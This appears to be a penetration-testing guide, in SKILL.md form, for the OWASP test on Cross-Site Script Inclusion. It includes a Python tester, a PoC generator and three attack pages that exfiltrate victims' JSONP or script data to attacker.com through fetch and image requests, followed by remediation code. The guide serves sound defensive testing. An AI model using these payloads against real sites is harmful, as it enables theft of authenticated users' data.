wstg-clnt-13

Testing for Cross-Site Script Inclusion (XSSI)

SKILL.md

GitHub

wstg-clnt-13

Test ID

WSTG-CLNT-13

Test Name

Testing for Cross-Site Script Inclusion (XSSI)

High-Level Description

Cross-Site Script Inclusion (XSSI) allows attackers to steal sensitive data by including a victim's JavaScript files as script sources from an attacker-controlled page. This exploits the fact that JavaScript files may contain sensitive user data and are not protected by Same-Origin Policy when loaded as scripts.


What to Check

  • Dynamic JavaScript endpoints
  • JSON responses loadable as scripts
  • JSONP endpoints
  • Authenticated script resources
  • Sensitive data in JavaScript
  • Callback parameter manipulation

How to Test

Step 1: Identify Dynamic JavaScript

#!/bin/bash
TARGET="https://target.com"

# Find JavaScript endpoints
echo "[*] Finding JavaScript files..."

# Check for dynamic JS endpoints
curl -s "$TARGET" | grep -oP 'src="[^"]*\.js[^"]*"' | sort -u

# Check for JSONP endpoints
curl -s "$TARGET" | grep -oP 'callback=[^&"]+' | sort -u

# Test JSON endpoints with script inclusion
curl -s "$TARGET/api/user" -H "Accept: application/javascript"

Step 2: XSSI Vulnerability Tester

#!/usr/bin/env python3
"""
XSSI (Cross-Site Script Inclusion) Vulnerability Tester
"""

import requests
import re
from urllib.parse import urljoin, parse_qs, urlparse

class XSSITester:
    def __init__(self, base_url):
        self.base_url = base_url
        self.findings = []
        self.session = requests.Session()

    def find_js_endpoints(self):
        """Find JavaScript endpoints on the page"""
        print(f"[*] Finding JavaScript endpoints on {self.base_url}")

        response = self.session.get(self.base_url)

        # Find script sources
        script_srcs = re.findall(r'src=["\']([^"\']*\.js[^"\']*)["\']', response.text)

        # Find JSONP-like endpoints
        jsonp_patterns = re.findall(r'callback=([^&"\']+)', response.text)

        endpoints = []
        for src in script_srcs:
            full_url = urljoin(self.base_url, src)
            endpoints.append(('script', full_url))

        return endpoints

    def test_jsonp_xssi(self, endpoint):
        """Test JSONP endpoints for XSSI"""
        print(f"\n[*] Testing JSONP endpoint: {endpoint}")

        callbacks = ['callback', 'jsonp', 'cb', 'jsonpcallback', 'func']

        for cb_param in callbacks:
            test_url = f"{endpoint}?{cb_param}=xssiTest"

            try:
                response = self.session.get(test_url)

                # Check if callback is reflected
                if 'xssiTest(' in response.text:
                    print(f"[VULN] JSONP callback reflected: {cb_param}")

                    # Check for sensitive data
                    if self.contains_sensitive_data(response.text):
                        self.findings.append({
                            "type": "JSONP XSSI",
                            "url": test_url,
                            "parameter": cb_param,
                            "severity": "High",
                            "detail": "JSONP returns sensitive data"
                        })
                    else:
                        self.findings.append({
                            "type": "JSONP XSSI",
                            "url": test_url,
                            "parameter": cb_param,
                            "severity": "Medium",
                            "detail": "JSONP callback controllable"
                        })
            except Exception as e:
                pass

    def test_js_hijacking(self, js_url):
        """Test if authenticated JS can be hijacked"""
        print(f"\n[*] Testing JS hijacking: {js_url}")

        # Request without credentials
        response_unauth = requests.get(js_url)

        # Request with credentials (if session exists)
        response_auth = self.session.get(js_url)

        if response_auth.text != response_unauth.text:
            print("[WARN] JavaScript content differs based on authentication")

            if self.contains_sensitive_data(response_auth.text):
                print("[VULN] Authenticated JavaScript contains sensitive data!")
                self.findings.append({
                    "type": "JavaScript Hijacking",
                    "url": js_url,
                    "severity": "High",
                    "detail": "Auth-dependent JS contains sensitive data"
                })

    def test_json_array_hijacking(self, endpoint):
        """Test for JSON array hijacking (older browsers)"""
        print(f"\n[*] Testing JSON array hijacking: {endpoint}")

        response = self.session.get(endpoint)
        content = response.text.strip()

        # Check if response is a JSON array
        if content.startswith('[') and content.endswith(']'):
            print("[INFO] JSON array response detected")

            if self.contains_sensitive_data(content):
                self.findings.append({
                    "type": "JSON Array Hijacking",
                    "url": endpoint,
                    "severity": "Medium",
                    "detail": "JSON array with sensitive data (legacy browsers vulnerable)"
                })

    def contains_sensitive_data(self, content):
        """Check if content contains sensitive data patterns"""
        sensitive_patterns = [
            r'password', r'token', r'api[_-]?key', r'secret',
            r'email', r'phone', r'ssn', r'credit',
            r'session', r'auth', r'bearer', r'private',
            r'"id"\s*:\s*\d+', r'"user', r'"account'
        ]

        for pattern in sensitive_patterns:
            if re.search(pattern, content, re.IGNORECASE):
                return True
        return False

    def generate_poc(self, vulnerable_url, callback='steal'):
        """Generate XSSI PoC HTML"""
        poc = f'''<!DOCTYPE html>
<html>
<head>
    <title>XSSI PoC</title>
</head>
<body>
    <h1>XSSI Proof of Concept</h1>
    <div id="stolen-data"></div>

    <script>
        // Override Array constructor (JSON Array Hijacking)
        var stolenData = [];
        var originalArray = Array;
        Array = function() {{
            stolenData = this;
            return originalArray.apply(this, arguments);
        }};
        Array.prototype = originalArray.prototype;
    </script>

    <!-- Include target's JavaScript -->
    <script src="{vulnerable_url}"></script>

    <script>
        // For JSONP
        function {callback}(data) {{
            console.log("Stolen data:", data);
            document.getElementById('stolen-data').innerHTML =
                '<pre>' + JSON.stringify(data, null, 2) + '</pre>';

            // Exfiltrate to attacker server
            fetch('https://attacker.com/collect', {{
                method: 'POST',
                body: JSON.stringify(data)
            }});
        }}

        // Check for array hijacking data
        if (stolenData.length > 0) {{
            console.log("Array hijacking data:", stolenData);
        }}
    </script>
</body>
</html>'''
        return poc

    def run_tests(self, auth_cookies=None):
        """Run all XSSI tests"""
        if auth_cookies:
            self.session.cookies.update(auth_cookies)

        # Find endpoints
        endpoints = self.find_js_endpoints()

        # Test each endpoint
        for endpoint_type, url in endpoints:
            if endpoint_type == 'script':
                self.test_js_hijacking(url)

        # Test common JSONP patterns
        common_jsonp = ['/api/user', '/api/data', '/api/profile', '/jsonp']
        for path in common_jsonp:
            self.test_jsonp_xssi(urljoin(self.base_url, path))

        # Test JSON array hijacking
        json_endpoints = ['/api/users', '/api/data', '/api/list']
        for path in json_endpoints:
            self.test_json_array_hijacking(urljoin(self.base_url, path))

        # Generate report
        self.generate_report()

    def generate_report(self):
        """Generate findings report"""
        print("\n" + "="*50)
        print("XSSI SECURITY REPORT")
        print("="*50)

        if not self.findings:
            print("\nNo XSSI vulnerabilities found.")
        else:
            for f in self.findings:
                print(f"\n[{f['severity']}] {f['type']}")
                print(f"  URL: {f['url']}")
                print(f"  Detail: {f['detail']}")

                if f['type'] == 'JSONP XSSI':
                    print(f"\n  PoC:\n{self.generate_poc(f['url'])[:500]}...")

# Usage
tester = XSSITester("https://target.com")
tester.run_tests(auth_cookies={'session': 'valid_session_cookie'})

Step 3: XSSI Attack Scenarios

<!-- Scenario 1: JSONP Data Theft -->
<!DOCTYPE html>
<html>
  <body>
    <script>
      function callback(data) {
        // Steal user data
        new Image().src = "https://attacker.com/log?data=" + encodeURIComponent(JSON.stringify(data))
      }
    </script>
    <script src="https://target.com/api/user?callback=callback"></script>
  </body>
</html>

<!-- Scenario 2: JavaScript Variable Theft -->
<!DOCTYPE html>
<html>
  <body>
    <script src="https://target.com/js/config.js"></script>
    <script>
      // If config.js sets: var userData = {...}
      if (typeof userData !== "undefined") {
        fetch("https://attacker.com/log", {
          method: "POST",
          body: JSON.stringify(userData),
        })
      }
    </script>
  </body>
</html>

<!-- Scenario 3: Prototype Manipulation -->
<!DOCTYPE html>
<html>
  <body>
    <script>
      Object.prototype.__defineSetter__("sensitive", function (val) {
        fetch("https://attacker.com/log?data=" + encodeURIComponent(val))
      })
    </script>
    <script src="https://target.com/api/user.js"></script>
  </body>
</html>

Step 4: Manual Testing

// Browser console - test for XSSI patterns

// 1. Check if endpoint returns valid JavaScript
fetch("/api/user")
  .then((r) => r.text())
  .then((text) => {
    try {
      // Check if it's valid JS
      new Function(text)
      console.log("[!] Endpoint returns executable JavaScript")
    } catch (e) {
      console.log("[OK] Not executable as JavaScript")
    }
  })

// 2. Check for JSONP parameters
const jsonpParams = ["callback", "jsonp", "cb", "func", "jsonpcallback"]
jsonpParams.forEach((param) => {
  fetch(`/api/data?${param}=test`)
    .then((r) => r.text())
    .then((text) => {
      if (text.includes("test(")) {
        console.log(`[!] JSONP parameter found: ${param}`)
      }
    })
})

Tools

Tool Purpose
Burp Suite Intercept and analyze responses
Browser DevTools Monitor script loading
Custom PoC Test XSSI exploitation
curl Manual testing

Remediation

# Server-side protections

# 1. Avoid JSONP - Use CORS instead
@app.route('/api/user')
def get_user():
    # Don't support callback parameter
    # Use proper CORS headers instead
    response = jsonify(user_data)
    response.headers['Access-Control-Allow-Origin'] = 'https://trusted.com'
    response.headers['Access-Control-Allow-Credentials'] = 'true'
    return response

# 2. Add unexecutable prefix to JSON responses
@app.route('/api/data')
def get_data():
    data = get_sensitive_data()
    # Prefix makes it invalid JavaScript
    response = make_response(")]}',\n" + json.dumps(data))
    response.headers['Content-Type'] = 'application/json'
    response.headers['X-Content-Type-Options'] = 'nosniff'
    return response

# 3. Use POST for sensitive data
@app.route('/api/sensitive', methods=['POST'])
def get_sensitive():
    # POST requests cannot be made via script src
    return jsonify(sensitive_data)

# 4. Validate Content-Type
@app.before_request
def check_content_type():
    if request.path.startswith('/api/'):
        accept = request.headers.get('Accept', '')
        # Reject script-like requests
        if 'text/javascript' in accept or '*/*' in accept:
            if not request.headers.get('X-Requested-With'):
                abort(403)
// Client-side: Strip prefix from responses
async function fetchSecure(url) {
  const response = await fetch(url, {
    credentials: "include",
    headers: {
      "X-Requested-With": "XMLHttpRequest",
      Accept: "application/json",
    },
  })

  let text = await response.text()

  // Remove anti-XSSI prefix
  if (text.startsWith(")]}',\n")) {
    text = text.substring(6)
  }

  return JSON.parse(text)
}

Risk Assessment

Finding CVSS Severity
JSONP with sensitive user data 7.5 High
Authenticated JavaScript hijacking 7.5 High
JSON array with sensitive data 5.3 Medium
JSONP callback controllable (no sensitive data) 4.3 Medium

CWE Categories

CWE ID Title
CWE-352 Cross-Site Request Forgery (CSRF)
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
CWE-346 Origin Validation Error

References


Checklist

[ ] Dynamic JavaScript endpoints identified
[ ] JSONP endpoints tested
[ ] Callback parameter manipulation tested
[ ] Authenticated JS content analyzed
[ ] JSON array responses checked
[ ] Sensitive data patterns searched
[ ] PoC created for vulnerabilities
[ ] Findings documented